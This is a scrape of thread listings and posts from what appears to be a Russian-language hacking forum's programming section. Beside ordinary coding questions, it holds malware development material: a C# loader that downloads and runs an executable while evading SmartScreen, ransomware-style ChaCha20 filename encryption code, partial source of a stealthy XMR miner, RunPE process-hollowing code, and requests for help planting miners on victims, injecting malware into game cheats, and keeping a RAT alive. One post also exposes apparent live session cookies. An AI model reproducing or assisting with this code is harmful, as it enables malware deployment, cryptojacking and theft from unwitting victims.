Пробовал отвязать от этого дела wolfCrypt, Mbedtls и Nettle - потуги не закончились успехом, слишком много там используется функций из стандартных библиотек, и при включении опции линкера /NODEFAULTLIB получаю просто по 2к ошибок, которые руками исправлять просто адская задача

C# -чем накрыть код
ID: 6765d804b4103b69df37575c
Thread ID: 104292
Created: 2023-12-18T17:42:31+0000
Last Post: 2023-12-21T20:02:26+0000
Author: projectACI
Replies: 10 Views: 529

Стал вопрос в защите кода написанного на C# подскажите свои варианты. Заранее благодарю.

Нужна помощь с CHACHA20(c++)
ID: 6765d804b4103b69df375782
Thread ID: 99946
Created: 2023-10-12T16:11:03+0000
Last Post: 2023-10-15T08:30:15+0000
Author: hahbah
Replies: 10 Views: 529

При шифровании и расшифровки получаю разный байты.
Это происходит рандомно, может совпасть вся последовательность байтов, а может ни один байт не совпасть.
Может кто-то знает почему так происходит.

Hidden content for authorized users.

C++:Copy to clipboard

BOOL
decryptor::DecryptFileName(
    __in LPCWSTR EncryptedFilename,
    __in ECRYPT_ctx* CryptCtx,
    __in decryptor::LPFILE_INFO FileInfo ) {

    std::wstring filePath(EncryptedFilename);

    std::wstring directory;
    std::wstring encryptedBaseName;
    std::wstring extension;

    size_t lastDotPos = filePath.find_last_of(L".");
    if (lastDotPos != std::wstring::npos) {
        extension = filePath.substr(lastDotPos);
        filePath = filePath.substr(0, lastDotPos);
    }

    size_t lastSlashPos = filePath.find_last_of(L"\\/");
    if (lastSlashPos != std::wstring::npos) {
        directory = filePath.substr(0, lastSlashPos + 1);
        encryptedBaseName = filePath.substr(lastSlashPos + 1);
    }
    else {
        encryptedBaseName = filePath;
    }

    size_t len = encryptedBaseName.length();
    std::vector<uint8_t> encryptedBuffer(len / 2);

    for (size_t i = 0; i < len / 2; i++) {
        unsigned int value;
        wchar_t bytePair[3] = { encryptedBaseName[i * 2], encryptedBaseName[i * 2 + 1], L'\0' };
        swscanf_s(bytePair, L"%x", &value);
        encryptedBuffer[i] = static_cast<uint8_t>(value);
    }

    // Convert decrypted byte buffer back to wchar_t
    std::vector<u8> decryptedData(len / 2);

    ECRYPT_decrypt_bytes(CryptCtx, encryptedBuffer.data(), decryptedData.data(), len / 2);
    contextStream.str(std::wstring()); // очищаем stringstream
    for (int i = 0; i < 16; i++) {
        contextStream << std::hex << std::setw(8) << std::setfill(L'0') << CryptCtx->input[i] << L" ";
    }
    std::wstring decryptedFilename = directory + byteVectorToWString(decryptedData) + extension;

    // Rename the file
    if (MoveFileW(EncryptedFilename, decryptedFilename.c_str())) {
        ChangeFileName(decryptedFilename.c_str());

        return TRUE;
    }
    else {
        return FALSE;
    }
}

Hidden content for authorized users.

Лог шифрования:
Using key for encryption: e38b2d3c9d576e7b6cc96b3d6aee6ad4ab4be0b98c6496e55e9c7c488db307d5
Using IV for encryption: 3ce967f204b67e4c
Filename before encryption (byte representation): 31323334352e747874
Filename after encryption (byte representation): 61bba466ae43d7d32f10ffc4b344f242457
Next file
Using key for encryption: e52966aa7fd532a16a105af5bdf7ae600c27e6ccf0ce7c81429f1f495b1cf16a
Using IV for encryption: 9b58c689cfce67d6
Filename before encryption (byte representation): 746578742e747874
Filename after encryption (byte representation): 37a0c7b9ca5b21265e4abdf22b95f297

Лог дешифрования:
Starting decryption of filename: C:\Users\Admin\Desktop\testDF\37a0c7b9ca5b21265e4abdf22b95f297
Encrypted base name: 37a0c7b9ca5b21265e4abdf22b95f297
Using key: e52966aa7fd532a16a105af5bdf7ae600c27e6ccf0ce7c81429f1f495b1cf16a
Using IV: 9b58c689cfce67d6
ECRYPT_ctx state before decryption: 61707865 3320646e 79622d32 6b206574 aa6629e5 a132d57f f55a106a 60aef7bd cce6270c 817ccef0 491f9f42 6af11c5b 00000001 00000000 89c6589b d667cecf
ECRYPT_ctx state after decryption: 61707865 3320646e 79622d32 6b206574 aa6629e5 a132d57f f55a106a 60aef7bd cce6270c 817ccef0 491f9f42 6af11c5b 00000002 00000000 89c6589b d667cecf
Decryption process completed.
Decrypted bytes: 74 00 65 00 78 00 74 00 2e 00 74 00 78 00 74 00
Decrypted filename: C:\Users\Admin\Desktop\testDF\text.txt
Starting decryption of filename: C:\Users\Admin\Desktop\testDF\61bba466ae43d7d32f10ffc4b344f242457
Encrypted base name: 61bba466ae43d7d32f10ffc4b344f242457
Using key: e38b2d3c9d576e7b6cc96b3d6aee6ad4ab4be0b98c6496e55e9c7c488db307d5
Using IV: 3ce967f204b67e4c
ECRYPT_ctx state before decryption: 61707865 3320646e 79622d32 6b206574 3c2d8be3 7b6e579d 3d6bc96c d46aee6a b9e04bab e596648c 487c9c5e d507b38d 00000001 00000000 f267e93c 4c7eb604
ECRYPT_ctx state after decryption: 61707865 3320646e 79622d32 6b206574 3c2d8be3 7b6e579d 3d6bc96c d46aee6a b9e04bab e596648c 487c9c5e d507b38d 00000002 00000000 f267e93c 4c7eb604
Decryption process completed.
Decrypted bytes: 31 00 32 00 33 00 34 00 35 00 de 38 8c 70 c5 66 15
Decrypted filename: C:\Users\Admin\Desktop\testDF\12345㣞炌曅

Here are some of the things I've learned C#
ID: 6765d804b4103b69df3757cd
Thread ID: 89412
Created: 2023-05-31T22:19:31+0000
Last Post: 2023-07-10T21:24:18+0000
Author: PR_O
Prefix: Мануал/Книга
Replies: 3 Views: 528

**I hope to be able to provide advice to more people someday

1010.PNG**​

Помогите новичку(Java)
ID: 6765d804b4103b69df375723
Thread ID: 110937
Created: 2024-03-21T03:56:09+0000
Last Post: 2024-03-25T17:19:52+0000
Author: Xkira087
Replies: 5 Views: 528

Здраствуйте у меня есть java byte code как я могу его перевести обратно в сурсы java

Java кодер
ID: 6765d804b4103b69df37585e
Thread ID: 70327
Created: 2022-07-19T08:34:46+0000
Last Post: 2022-11-27T22:37:57+0000
Author: LVNB
Replies: 3 Views: 527

Кто увлекается java, хотелось бы обсудить одну мысль, если реализация возможна то и естественно написать.

Как вам на java?
ID: 6765d804b4103b69df3758c4
Thread ID: 66916
Created: 2022-05-12T15:58:38+0000
Last Post: 2022-05-20T05:12:46+0000
Author: Nosferatu
Replies: 18 Views: 525

Работодатель, мать его, напрягает, чтобы перешел на стек java/spring. Есть кто на джаве кодит или кодил? Я джаву всю жизнь стороной обходил, так что впечатлений ноль. есть что рассказать, люди? гугл гуглом, но вот джавистов живых в моем окружении не водится. Хотелось бы услышать реальное мнение как тех, кто java боготворит. так и тех. кто ненавидет.
Я большую часть жизни кодил на Fortran и python. Возможно в чем-то недалек, но что-то как-то волнительно стек менять.
Была идея сменить работу, но я только восьмой месяц работаю да и обстановка в стране не особо впечатляет.
Короче говоря, спасибо!
Всем добра!

Раздутие файла C#
ID: 6765d804b4103b69df375870
Thread ID: 74780
Created: 2022-10-27T16:18:17+0000
Last Post: 2022-11-04T14:11:09+0000
Author: Volk_v_Shkure
Replies: 5 Views: 524

Дорбого времени суток! Подскажите статьи какие-то где описываются методы раздутия файла (мусором и прочим), может примеры какие-то.

Заранее спасибо!

[C#]Как пофиксить ошибку?
ID: 6765d804b4103b69df37589a
Thread ID: 68519
Created: 2022-06-11T22:41:59+0000
Last Post: 2022-08-21T18:17:20+0000
Author: Ags1of
Replies: 12 Views: 520

отправляю запрос к ютубу, чтобы получить json ответ, но вылазит ошибка, как можно пофиксить?
1654987281171.png

C#:Copy to clipboard

string token = "тут токен";
string channelId = "тут id канала с искомой инфой";
var client = new RestClient("https://www.youtube.com/youtubei/v1/channel/reveal_business_email?key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8&prettyPrint=false");
            client.Timeout = -1;
            var reka = new RestRequest(Method.POST);
            reka.AddHeader("authorization", "SAPISIDHASH 1654983168_86efccccc4ce76a207c8dbc53225bf74d9a7fa25");
            reka.AddHeader("cookie", "GPS=1; YSC=Pmcj0jfTjys; VISITOR_INFO1_LIVE=cbBdmXEM; PREF=f4=4000&tz=Europe.Moscow; SID=LAixPSjizRb1wGE5XpthD9cSaRf_b0MV6x6PQ9iEvnz9DsaM_yxHlVI7-4YtFQ.; __Secure-1PSID=LAixPSjizRb1wGE5XpthD9cSaRf_b0MV6x6PQOfyHF92It8NnIw0Kw3EVw.; __Secure-3PSID=LAixPSjizRb1wGE5XpthD9cSaRf_b0MV6x6PQ9iEv0EmNvUFjNQnM8OLIerg.; HSID=AYLuDIgi6Pf4ioxW4; SSID=ABFOGRe5RivJTtOJ_; APISID=nFtlS-kscWfNq-db/A-VpA3peIM0Qb6gkM; SAPISID=rE4tOmRPehuvYmn6QknSK52x; __Secure-1PAPISID=rE4tOmRPehuvY-Ie/AVEE4Pmn6QknSK52x; __Secure-3PAPISID=rE4tOmRPehuvY-Ie/AVEknSK52x; LOGIN_INFO=AFmbXPf-RMCljDBe4_GBAiEA-egMMIqJadSNoMQtyLrvTlxvlvcSgzVj98h9Z9BhB_c:QUQ3MjNmeGg2akd5cEQ5Y3VLOWJiR1ctY1c1ekdKdnFfOFc4NXgzOFFoRG5Pb3JjQjBSSkRMS2M2aFN1NU03N29USTRJYmlTVFJ4Nl8zZ244dVFIMGktaEVkOWMzUDEwWXVVaDRZQmVtR2dxhIdkczR0xoV1ZET011c2RHODY5M2R2TUtCaVNCWUQxOHFn; CONSISTENCY=ALOGzFzIXR_zL1oIczyNONY5v3Z5_oE4v9yYOuaBNLuTLzEPd5HnL359ShhC0pUPphhFfZ-h18yc4zXYWcXbMvgeUdNKGW; SIDCC=AJi4QaDy2c5nEE9XQs9mVR9iOfOIxw; __Secure-3PSIDCC=AJi4QfGGurkmeS1AVZyK5qa1satJ_xlHDXbpKjmjbxncqiuV2ms1How; SIDCC=AJi4QfEw8PSsHtVgn0RhslLGM5B01sHkwFi4GdO_3mRZ7Tj9DYdCSp-Tqcsg2HjRkaBvAwnVPQ; __Secure-3PSIDCC=AJi4QfGr-Ls7I1ovi8BkPdMTajVC-Gq010Yt8d4Aw");
            reka.AddHeader("accept-language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7");
            reka.AddHeader("origin", "https://www.youtube.com");
            reka.AddHeader("referer", link);
            reka.AddHeader("sec-ch-ua", "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"102\", \"Google Chrome\";v=\"102\"");
            reka.AddHeader("sec-ch-ua-arch", "\"x86\"");
            reka.AddHeader("sec-ch-ua-bitness", "\"64\"");
            reka.AddHeader("sec-ch-ua-full-version", "\"102.0.5005.63\"");
            reka.AddHeader("sec-ch-ua-full-version-list", "\" Not A;Brand\";v=\"99.0.0.0\", \"Chromium\";v=\"102.0.5005.63\", \"Google Chrome\";v=\"102.0.5005.63\"");
            reka.AddHeader("sec-ch-ua-mobile", "?0");
            reka.AddHeader("sec-ch-ua-model", "");
            reka.AddHeader("sec-ch-ua-platform", "\"Windows\"");
            reka.AddHeader("sec-ch-ua-platform-version", "\"10.0.0\"");
            reka.AddHeader("sec-fetch-dest", "empty");
            reka.AddHeader("Content-Type", "application/json");
            var body = "{\"\"context\"\":{\"\"client\"\":{\"\"hl\"\":\"\"ru\"\",\"\"gl\"\":\"\"RU\"\",\"\"remoteHost\"\":\"\"83.221.223.190\"\",\"\"deviceMake\"\":\"\"\"\",\"\"deviceModel\"\":\"\"\"\",\"\"visitorData\"\":\"\"CgszNnBrYkRyMTUtcyjHs5GVBg%3D%3D\"\",\"\"userAgent\"\":\"\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36,gzip(gfe)\"\",\"\"clientName\"\":\"\"WEB\"\",\"\"clientVersion\"\":\"\"2.20220609.00.00\"\",\"\"osName\"\":\"\"Windows\"\",\"\"osVersion\"\":\"\"10.0\"\",\"\"originalUrl\"\":\"\"https://www.youtube.com/watch?v=Oyf0feE9Ewo\"\",\"\"screenPixelDensity\"\":1,\"\"platform\"\":\"\"DESKTOP\"\",\"\"clientFormFactor\"\":\"\"UNKNOWN_FORM_FACTOR\"\",\"\"configInfo\"\":{\"\"appInstallData\"\":\"\"CMezkZUGELfLrQUQ2JquBRCUj64Yh64FEJjqrQUQmN79EhDUg64FEIKOrgUQkfj8EhDYvq0F\"\"},\"\"screenDensityFloat\"\":1.25,\"\"timeZone\"\":\"\"Europe/Moscow\"\",\"\"browserName\"\":\"\"Chrome\"\",\"\"browserVersion\"\":\"\"102.0.0.0\"\",\"\"screenWidthPoints\"\":886,\"\"screenHeightPoints\"\":754,\"\"utcOffsetMinutes\"\":180,\"\"userInterfaceTheme\"\":\"\"USER_INTERFACE_THEME_LIGHT\"\",\"\"connectionType\"\":\"\"CONN_CELLULAR_4G\"\",\"\"memoryTotalKbytes\"\":\"\"8000000\"\",\"\"mainAppWebInfo\"\":{\"\"graftUrl\"\":\"\"https://www.youtube.com/c/MusicLabWork/about\"\",\"\"pwaInstallabilityStatus\"\":\"\"PWA_INSTALLABILITY_STATUS_CAN_BE_INSTALLED\"\",\"\"webDisplayMode\"\":\"\"WEB_DISPLAY_MODE_BROWSER\"\",\"\"isWebNativeShareAvailable\"\":true}},\"\"user\"\":{\"\"lockedSafetyMode\"\":false},\"\"request\"\":{\"\"useSsl\"\":true,\"\"internalExperimentFlags\"\":[],\"\"consistencyTokenJars\"\":[]},\"\"clickTracking\"\":{\"\"clickTrackingParams\"\":\"\"CC8Quy8YACITCOKJ0t2EpfgCFcU7mwod5WkExA==\"\"},\"\"adSignalsInfo\"\":{\"\"params\"\":[{\"\"key\"\":\"\"dt\"\",\"\"value\"\":\"\"1654938056328\"\"},{\"\"key\"\":\"\"flash\"\",\"\"value\"\":\"\"0\"\"},{\"\"key\"\":\"\"frm\"\",\"\"value\"\":\"\"0\"\"},{\"\"key\"\":\"\"u_tz\"\",\"\"value\"\":\"\"180\"\"},{\"\"key\"\":\"\"u_his\"\",\"\"value\"\":\"\"5\"\"},{\"\"key\"\":\"\"u_h\"\",\"\"value\"\":\"\"864\"\"},{\"\"key\"\":\"\"u_w\"\",\"\"value\"\":\"\"1536\"\"},{\"\"key\"\":\"\"u_ah\"\",\"\"value\"\":\"\"824\"\"},{\"\"key\"\":\"\"u_aw\"\",\"\"value\"\":\"\"1536\"\"},{\"\"key\"\":\"\"u_cd\"\",\"\"value\"\":\"\"24\"\"},{\"\"key\"\":\"\"bc\"\",\"\"value\"\":\"\"31\"\"},{\"\"key\"\":\"\"bih\"\",\"\"value\"\":\"\"754\"\"},{\"\"key\"\":\"\"biw\"\",\"\"value\"\":\"\"870\"\"},{\"\"key\"\":\"\"brdim\"\",\"\"value\"\":\"\"0,0,0,0,1536,0,1536,824,886,754\"\"},{\"\"key\"\":\"\"vis\"\",\"\"value\"\":\"\"1\"\"},{\"\"key\"\":\"\"wgl\"\",\"\"value\"\":\"\"true\"\"},{\"\"key\"\":\"\"ca_type\"\",\"\"value\"\":\"\"image\"\"}],\"\"bid\"\":\"\"ANyPxKqh1o0fCfaE9JXKsulGKl1YwJt87cIFGt-6vXWVADoMYW2xft7fFp9jZKkCf9KBUSfaJA066DM8ETVPfU8BJIcajngNTg\"\"}},\"\"recaptchaResponseToken\"\":\"\"" + token + "\"\",\"\"channelId\"\":\"\"" + channelId + "\"\"}";
            reka.AddParameter("application/json", body, ParameterType.RequestBody);
            IRestResponse resp = client.Execute(reka);
            MessageBox.Show(resp.Content);

            email = resp.Content;
PowerShell
ID: 6765d804b4103b69df375915
Thread ID: 61638
Created: 2022-01-19T08:33:03+0000
Last Post: 2022-01-21T08:11:40+0000
Author: 777not999
Replies: 2 Views: 520

Привет. Вопрос очень простой для того, кто с темой связан. Как из терминала powershell скачать с сайта изображение, а затем открыть его ?
Решения из гугл мне не помогли. Спасибо.

AudioEndpoint - Изменение громкости микшера Windows
ID: 6765d804b4103b69df37599a
Thread ID: 52742
Created: 2021-06-10T11:44:59+0000
Last Post: 2021-06-10T11:44:59+0000
Author: EmeliRouse
Replies: 0 Views: 520

Hidden content for authorized users.

Данный класс позволяет изменять ползунок громкости микшера Windows, не используя посторонних библиотек.
Работает начиная с Windows 7.

C#:Copy to clipboard

namespace VolumeMixer
{
    using System;
    using System.ComponentModel;
    using System.Runtime.InteropServices;

    [Description("Класс для изменения микшера громкости windows")]
    public sealed class AudioEndpoint
    {
        [ComImport]
        [Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")]
        internal class MMDeviceEnumerator { }

        [Flags]
        internal enum EDataFlow
        {
            eRender,
            eCapture,
            eAll,
            EDataFlow_enum_count
        }
        [Flags]
        internal enum ERole
        {
            eConsole,
            eMultimedia,
            eCommunications,
            ERole_enum_count
        }

        [Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IMMDeviceEnumerator
        {
            int NotImpl1();
            [PreserveSig]
            int GetDefaultAudioEndpoint(EDataFlow dataFlow, ERole role, out IMMDevice ppDevice);
        }

        [Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IMMDevice
        {
            [PreserveSig]
            int Activate(ref Guid iid, int dwClsCtx, IntPtr pActivationParams, [MarshalAs(UnmanagedType.IUnknown)] out object ppInterface);
        }

        [Guid("657804FA-D6AD-4496-8A60-352752AF4F89"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IAudioEndpointVolumeCallback
        {
            int OnNotify(IntPtr pNotifyData);
        };

        [Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IAudioEndpointVolume
        {
            int RegisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
            int UnregisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
            int GetChannelCount(out int pnChannelCount);
            int SetMasterVolumeLevel(float fLevelDB, Guid pguidEventContext);
            int SetMasterVolumeLevelScalar(float fLevel, Guid pguidEventContext);
            int GetMasterVolumeLevel(out float pfLevelDB);
            int GetMasterVolumeLevelScalar(out float pfLevel);
            int SetChannelVolumeLevel(uint nChannel, float fLevelDB, Guid pguidEventContext);
            int SetChannelVolumeLevelScalar(uint nChannel, float fLevel, Guid pguidEventContext);
            int GetChannelVolumeLevel(uint nChannel, out float pfLevelDB);
            int GetChannelVolumeLevelScalar(uint nChannel, out float pfLevel);
            int SetMute([MarshalAs(UnmanagedType.Bool)] Boolean bMute, Guid pguidEventContext);
            int GetMute(out bool pbMute);
            int GetVolumeStepInfo(out uint pnStep, out uint pnStepCount);
            int VolumeStepUp(Guid pguidEventContext);
            int VolumeStepDown(Guid pguidEventContext);
            int QueryHardwareSupport(out uint pdwHardwareSupportMask);
            int GetVolumeRange(out float pflVolumeMindB, out float pflVolumeMaxdB, out float pflVolumeIncrementdB);
        }

        /// <summary>
        /// <c>Метод для изменения громкости звука windows <br>(Работает, начиная с Windows 7)</br></c>
        /// <b><br>Значение : Уровень громкости</br></b>
        /// <br>(0f) : 0%</br>
        /// <br>(0.10f) : 10%</br>
        /// <br>(0.50f) : 50%</br>
        /// <br>(0.90f) : 90%</br>
        /// <br>(1f) : 100%</br>
        /// <b><br>Пример использования:</br></b>
        /// <br>var audio = new AudioEndpoint();</br>
        /// <br>audio.Inizialize(1f);</br>
        /// </summary>
        /// <param name="level"></param>
        public void Inizialize(float level)
        {
            var deviceEnumerator = (IMMDeviceEnumerator)new MMDeviceEnumerator();
            IMMDevice speakers = null;
            IAudioEndpointVolume vol = null;
            try
            {
                deviceEnumerator.GetDefaultAudioEndpoint(EDataFlow.eRender, ERole.eMultimedia, out speakers);
                Guid IID_IAudioEndpointVolume = typeof(IAudioEndpointVolume).GUID;
                speakers.Activate(ref IID_IAudioEndpointVolume, 0, IntPtr.Zero, out object o);
                vol = (IAudioEndpointVolume)o;
                vol.SetMasterVolumeLevelScalar(level, Guid.Empty);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
               // System.IO.File.WriteAllText("VolumeError.txt", $"{ex.Message}{Environment.NewLine}");
            }

            if (vol != null) Marshal.ReleaseComObject(vol);
            if (speakers != null) Marshal.ReleaseComObject(speakers);
            if (deviceEnumerator != null) Marshal.ReleaseComObject(deviceEnumerator);
        }
    }
}

Используется

C#:Copy to clipboard

var audio = new AudioEndpoint();
audio.Inizialize(1f); // (1f) - уровень громкости
Как дописать длл
ID: 6765d804b4103b69df375866
Thread ID: 75261
Created: 2022-11-04T19:42:54+0000
Last Post: 2022-11-18T18:36:40+0000
Author: kingessopper
Replies: 3 Views: 516

Как дописать что-то к читу кс го без сурс кода, дописать что при инжекте скачивается и открывается мальварь? Возможно ли это

Нужен слив курс С++ разработчик Яндекс Практикум.
ID: 6765d804b4103b69df375754
Thread ID: 105053
Created: 2024-01-03T21:21:39+0000
Last Post: 2024-01-05T14:47:43+0000
Author: anonx
Replies: 7 Views: 516

Нужен слив курс => https://practicum.yandex.ru/cpp/ поделитесь со мной. заранее спасибо!

How sould I run a crypto miner in a victim machine? Dropper? Injector?
ID: 6765d804b4103b69df3757a2
Thread ID: 95377
Created: 2023-08-10T14:46:18+0000
Last Post: 2023-09-01T10:32:06+0000
Author: 3c2n90yt57489t3y8794
Replies: 7 Views: 516

Hello, how should a crypto miner be executed to be legit for AV?
Is it okay to drop on the disk the exe of an official cli miner executable, make it persistent (register or service), set it to minimum power (less cpu used, so silent in the background).
Maybe without crypting the miner payload because is a legit executable.
Any other idea is appreciated

C compile to bin
ID: 6765d804b4103b69df37595e
Thread ID: 57403
Created: 2021-10-05T19:39:53+0000
Last Post: 2021-10-17T14:25:43+0000
Author: Jim0x
Replies: 11 Views: 515

Приветствую, искал инфу видимо плохо искал не нашел, подскажите пожалуйста как скомпилировать .c .cpp файл в binary .bin?! буду признателен за подсказка, либо код) Всем хорошего утра, дня, или вечера!

Подскажите переменную
ID: 6765d804b4103b69df3756de
Thread ID: 119924
Created: 2024-07-31T12:48:20+0000
Last Post: 2024-07-31T13:07:51+0000
Author: Litara_B
Replies: 3 Views: 512

Подскажите пожалуйста переменную для удаление всего текста после первого "=" index.php?page=~~item &id=~~

Изучение работы RunPE
ID: 6765d804b4103b69df3757ca
Thread ID: 92880
Created: 2023-07-13T18:53:26+0000
Last Post: 2023-07-15T02:29:43+0000
Author: skizy
Replies: 6 Views: 509

всем здравствуйте, хотел бы задать вопрос по поводу того, где я могу найти больше информации по определенным винапи структурам и взаимодействиям с ними? сейчас приведу конкретный пример, с базой винапи я знаком, но сейчас полез смотреть на то, как работает runpe, знаю что это устаревшая технология, но мне кажется нужно с простого начинать. так вот, мне в принципе весь код понятен был, кроме одной секции:

C-like:Copy to clipboard

CTX = (CONTEXT*)malloc(sizeof(CONTEXT));
ZeroMemory(CTX, sizeof(CONTEXT));
CTX->ContextFlags = CONTEXT_FULL;

if (GetThreadContext(pi.hThread, CTX) != 0)
{
    DWORD imageBase = 0;
    ReadProcessMemory(pi.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&imageBase), 4, 0);
}

а именно

C-like:Copy to clipboard

ReadProcessMemory(pi.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&imageBase), 4, 0);

я начал гуглить, ибо мне было непонятно, почему в регистре в ebx находится адрес на imageBase, но ничего особо полезного не нашел, где подробнее можно почитать о подобном? ну то есть как создаются процессы и тд

Нужна помощь с дроппером (лоадером) в память. C#.
ID: 6765d804b4103b69df37577a
Thread ID: 100077
Created: 2023-10-14T14:35:40+0000
Last Post: 2023-11-04T13:46:59+0000
Author: bloodcatz
Replies: 5 Views: 508

Доброе время суток!

Можете покидать тем и в целом рассказать, как делается загрузка и запуск файла в памяти, без сохранения на диск?
И есть ли уже какие-то готовые варианты, которые работают сейчас (без детектов итд)? Возможно, их нужно будет подредактировать, но всё же.

Заранее всем спасибо!

вызов функций из wininet
ID: 6765d804b4103b69df3757bc
Thread ID: 94466
Created: 2023-07-31T21:41:08+0000
Last Post: 2023-08-03T05:57:49+0000
Author: KernelMode
Replies: 13 Views: 508

приветствую, форумчане. обращаюсь за помошью - весь мозг уже сломал. прога скачивает файл с хоста с помощью функций из библиотеки wininet. используется динамический вызов апи по хэшу. под х64 все работает прекрасно, собираю в х86 и запускаю на 64-битной винде - падает на вызове любой функции из вининет. кто-нибудь сталкивался с таким?

Модификация функций CRT
ID: 6765d804b4103b69df3758c8
Thread ID: 66664
Created: 2022-05-06T10:04:42+0000
Last Post: 2022-05-13T16:29:35+0000
Author: awaken1337
Replies: 12 Views: 508

Реально ли модицифировать какие-то из функций CRT? Из студии 15 года например

Появляется Smart Defender Windows.
ID: 6765d804b4103b69df375934
Thread ID: 58332
Created: 2021-10-29T21:01:29+0000
Last Post: 2021-12-07T12:03:31+0000
Author: Quiz1x
Replies: 7 Views: 507

Всем салют. Нужно в общем пролить инсталлы и вес exe должен быть до 4мб. Есть собственно билд (exe файл) он весит 19мб. Написал лоадер на шарпе - и при открытии появляется Smart Defender. Крипт Aes 128 не помогает. Я даже не знаю что делать. Код ниже.

C#:Copy to clipboard

using System.Diagnostics;

using System.Net;

using System;

using System.Text;

using System.Threading;



namespace LOADER

{

    class Program

    {

        static void Main(string[] args)

        {

            WebClient wc = new WebClient();



            string exe_link = "тут короче линк на билд сделал";

            string PTH = "C:\\ProgramData\\";

            string NAME_FILE = "Loader.exe";

        

            Thread.Sleep(180);





            wc.DownloadFile(exe_link, PTH + NAME_FILE);



            System.Diagnostics.Process.Start(@"C:\ProgramData\Loader.exe");





        }

    }

}

1635541275033.png

Android Java; Как сделать живучем ForGround
ID: 6765d804b4103b69df375707
Thread ID: 113370
Created: 2024-04-26T17:04:34+0000
Last Post: 2024-04-27T08:52:56+0000
Author: XDRevil
Replies: 7 Views: 507

Есть проблема, что если очистить память(RAM или что-то) то приложение(Ботнет или РАТ) закрывается, как сделать чтоб обойти это?

После отключения CRT при выделении памяти перестал видится void* в C++?
ID: 6765d804b4103b69df375747
Thread ID: 106833
Created: 2024-01-27T18:32:48+0000
Last Post: 2024-01-29T22:14:28+0000
Author: Alexey18
Replies: 12 Views: 506

Пишу скрытие импортов и всё такое. Решил отключить CRT - успешно. Но мне надо (для опред. задач) выделять память через malloc и при использовании void* не компилируется("неразрешенный внешний символ void* "). Приведение типов в unsigned char* не помогает. Подскажите, что делать? Если я использую void* для других дел- тоже не работает. Тригерит

1706380153089.png

My Custom XMR CryptoNight/RandomX CPU Miner
ID: 6765d804b4103b69df375778
Thread ID: 101338
Created: 2023-10-31T04:06:05+0000
Last Post: 2023-11-07T02:17:46+0000
Author: RastaFarEye
Replies: 2 Views: 505

I want to showcase my CPU P2P-pool-based miner without giving out too much code for free. I hope it inspires someone:

C++:Copy to clipboard

#pragma comment(linker, "/MERGE:.rdata=.text")
#pragma comment(linker, "/MERGE:.data=.text")

#include <Windows.h>
#include <Shlwapi.h>

#include "../p2p/ntdll.h"
#include "../p2p/ntddk.h"

#include "../p2p/str.h"
#include "../p2p/efs.h"
#include "../p2p/conn.h"
#include "../p2p/node.h"

#include "../p2p/crypto.h"
#include "../p2p/registry.h"
#include "../p2p/p2p.h"

#include "../p2p/config.h"
#include "../p2p/common.h"
#include "../p2p/files.h"

#pragma comment(lib, "ntdll64.lib")

RTL_CRITICAL_SECTION g_critical_section;
char* hash_randomx(const char* input, unsigned char* seed_hash, const unsigned long long height, int threads);
/*
    Start date: 01.10.20
    Finish by: 08.10.20

    RandomX & CryptoNight_R CPU Miner

    The miner will be written as an x64-based EXE (since x86 systems are useless
    for mining and they only account for 8% of all Windows market share).

    1) when it starts, it will write its process ID and process name to the miner.cfg
       in the EFS to tell the core orchestrator (p2p.dll) that it has started so that
       when we poll the process list from there we can determine if its still running
       and if not then it can be started again

    2) it will lookup the known pool-nodes which should be written to miner.cfg in the
       EFS and constantly poll it until there is a node which we can connect to

    3) when we connect to a node, we should send a stratum-based login request to
       authenticate ourselves and grab the latest block template from the RPC daemon

    4) now we should proceed to hash the received blob template based on the version
       of the block template, randomx when its >= 12 and cryptonight_r for < 12

    5) once the hashing is complete we should check the 24-32 bytes of the returned
       hash to see if theyre less than the target difficulty so that we can submit
       it to the pool-node to check if we mined the block based on the response   
*/

mining_tasks* mining_operations = 0;
extern "C" {
    #include "cryptonight/hash-ops.h"
};

void get_process_info(char** process_name, unsigned long* process_id)
{
    // get the id of the current process
    *process_id = HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess);

    wchar_t* u_process_path = 0;
    // get the current file path
    void* current_module = get_current_module();
    get_current_path(current_module, &u_process_path);

    wchar_t* u_process_name = 0;
    // get the name of the current process
    get_base_file_name(u_process_path, &u_process_name);

    // convert the process name to an ANSI string
    unicode_to_ansi(u_process_name, &*process_name);

    free_memory(u_process_name);
    free_memory(u_process_path);
}

bool verify_config_mutex(local_efs efs, container_info* miner_container, unsigned char* container_config, char* process_name, unsigned long process_id)
{
    unsigned long process_name_len = ansi_strlen(process_name);
    unsigned long process_id_len   = integer_length(process_id);
    
    char *ansi20 = 0;
    xor_string(ansi, (unsigned char**)&ansi20, (unsigned char*)ansi_table[20], 5, 20);
    do
    {
        char* mutex_value = 0;
        // determine if a mutex value exists or not
        get_http_header((char*) container_config, ansi20, &mutex_value, true);
        if (mutex_value)
        {
            bool status = true;
            int mutex_value_len = ansi_strlen(mutex_value);
            // it exists, so lets determine if there is a process name & process id
            unsigned long mutex_delimeter = get_delimeter<const char>(mutex_value, ":");
            // this is the most accurate way (as of now) to check if the process name & id is there
            if (mutex_value_len > 1 && mutex_delimeter != -1)
            {
                char* mutex_process_name, *_mutex_process_id = 0;
                extract_data(&mutex_process_name, mutex_value, mutex_delimeter);
                extract_data(&_mutex_process_id, mutex_value + (mutex_delimeter + 1), mutex_value_len - (mutex_delimeter + 1));

                unsigned long mutex_process_id = str_to_ul(_mutex_process_id);
                if (mutex_process_id)
                {
